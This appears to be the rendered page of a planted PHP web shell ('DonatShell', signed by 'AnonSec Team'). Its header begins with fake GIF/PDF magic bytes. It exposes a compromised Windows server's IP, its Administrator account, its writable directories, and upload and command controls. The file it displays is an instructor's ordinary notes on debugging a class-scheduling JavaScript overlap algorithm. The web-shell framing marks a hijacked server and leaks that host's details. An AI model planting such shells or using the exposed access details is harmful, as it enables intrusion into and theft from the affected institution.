GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/Classes/CST2146/Notes/Archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/Classes/CST2146/Notes/Archive//MMDT2146_wk16_2021.05_05_W.txt
Working on:
Finder	DONE 2021-04-07
Need a finder for the schedule. Find classes/instructors/rooms/etc...

Six Across Ghost	2021-02-25	Six Class Something is wrong with displaySchedule js when we have 7 classes w/ overlap. Needs 5 across and shows 6. See CST2019 Fall on T.	Error
Not due to 2 over 2 overlap.
Not due to 2703 import issue.
Database backed up to scheduler_2021_04_07

Working in Events_Prepare() line 1246
	??? Events_Prepare_Check line 1251
	??? Events_Prepare_MaxOverlap 1337

How is overlappingEventsAmount used in Events_Prepare_Check?
	See lines 1310, 1314.

Create groups.
let overlapGroups = [] // an array of arrays
overlapGroupsIndex=-1;
Loop thru all classes on the day and create groups.
	If class scmId is not in group, put class scmId in new group.
		overlapGroupsIndex++;
		overlapGroups[overlapGroupsIndex].push(class scmId);
		Loop thru class items (currentEVENTS_OVERLAPPING overlaps)
			If item Not in inGroup = true;
				add to overlapGroups
				overlapGroups[overlapGroupsIndex].push(items scmId);
				
			else
				destroy overlapGroups and add class to found group.
				overlapGroups.pop();
				groupIndex--;
				group[groupIndex].push(class);
	else
		ignore
END Loop thru all classes on the day and create groups.
 
Count non overlaps.
Loop thru groups.
	let nonOverlapping = [] // array
	Loop thru classes in group.
	Check against other classes in group
		loop thru classes again
		if class != class again
			if class not in nonOverlapping
				nonOverlapping.push(class again)
		else
			skip
	Divisor = group[groupIndex].length - parseInt(nonOverlapping.length / 2)

line 440 let DAY_TO_DEBUG = 'M'; 
line 1218  BEGIN Get event groups.

Monday
Loop thru all for day.
Overlap groups.
1072 2641
1600 1620 1861
2 are created.

Begin with count from group
Divisor = overlapCount
Loop thru groups for nonOverlap (count them)
0 nonOverlap found.
Divisor -= parseInt(nonOverlap/2); 

First group Divisor = 2
Second group Divisor = 3

1052 1256 1439

1206



Tuesday
Loop thru all for day.
1700x 1701x 1794x 1802x 2505x 2514x 2702x 2703x 2802 2823
Overlap groups. 1700 2823 2514 and 1701 1794 2505 1802 2702 2703 2802
4193 4198 4211
4163 4179 4189 4202 4203 4204 4206
#1802 (is already in a group)
#2505 (is already in a group)
##2514 2823  (2823 is already in a group so remove this group and add to existing)
##2702 1794 (1794 is already in a group so remove this group and add to existing)
##2703 1794 (1794 is already in a group so remove this group and add to existing)
##2802 1701 (1701 is already in a group so remove this group and add to existing)
#2823 (is already in a group)

2 are created.
4202 4203 4206
Begin with count from group
Divisor = overlapCount
Group 1: Divisor = 3		1700 2514 2823
Group 2: Divisor = 7		1701 1794 1802 2505 2702 2703 2802
Group 1: Divisor = 3		4193 4198 4211
Group 2: Divisor = 7		4202 4163 4203 4179 4189 4204 4206
Loop thru groups for nonOverlap (check every meeting in group against all others. count them)
	remember non-overlap.
Group 1: nonOverlap = 2			nonOverlapping 2514 1700
Group 2: nonOverlap = 5			nonOverlapping 2702 2703 1701 1802 2802
Group 1: nonOverlap = 2			nonOverlapping 4198 4193
Group 2: nonOverlap = 5			nonOverlapping 4189 4204 4202 4203 4206
Divisor -= parseInt(nonOverlap/2);
Group 1: Divisor = 3 - parseInt(2/2) = 2
Group 2: Divisor = 7 - parseInt(5/2) = 5

Thursday
1700 1701 2514 2608 2702 2703 (all)

1700									Divisor 1
1701 2608 2702 2703		Divisor 4
2514									Divisor 1
#2608 (is already in a group)
##2702 2608  (2608 is already in a group so remove this group and add to existing)
##2703 2608  (2608 is already in a group so remove this group and add to existing)
Group 2: nonOverlap = 2702 2703 1701
Group 2: Divisor = 4 - parseInt(3/2) = 3


js:
if ( day == 'T' ) { console.log(day+' EVENTS_TO_DISPLAY='+JSON.stringify(EVENTS_TO_DISPLAY)); }

	let DEBUG_scmIds = ['4202','4163','4203','4179','4206','4189','4204'];
	if ( DEBUG_scmIds.indexOf(DEBUG_scmIds) !== -1 ) { DEBUG_Events_MaxOverlap = true; }





Problem:


Ideas:
Classes on different campuses should not conflict.

Anon7 - 2022
AnonSec Team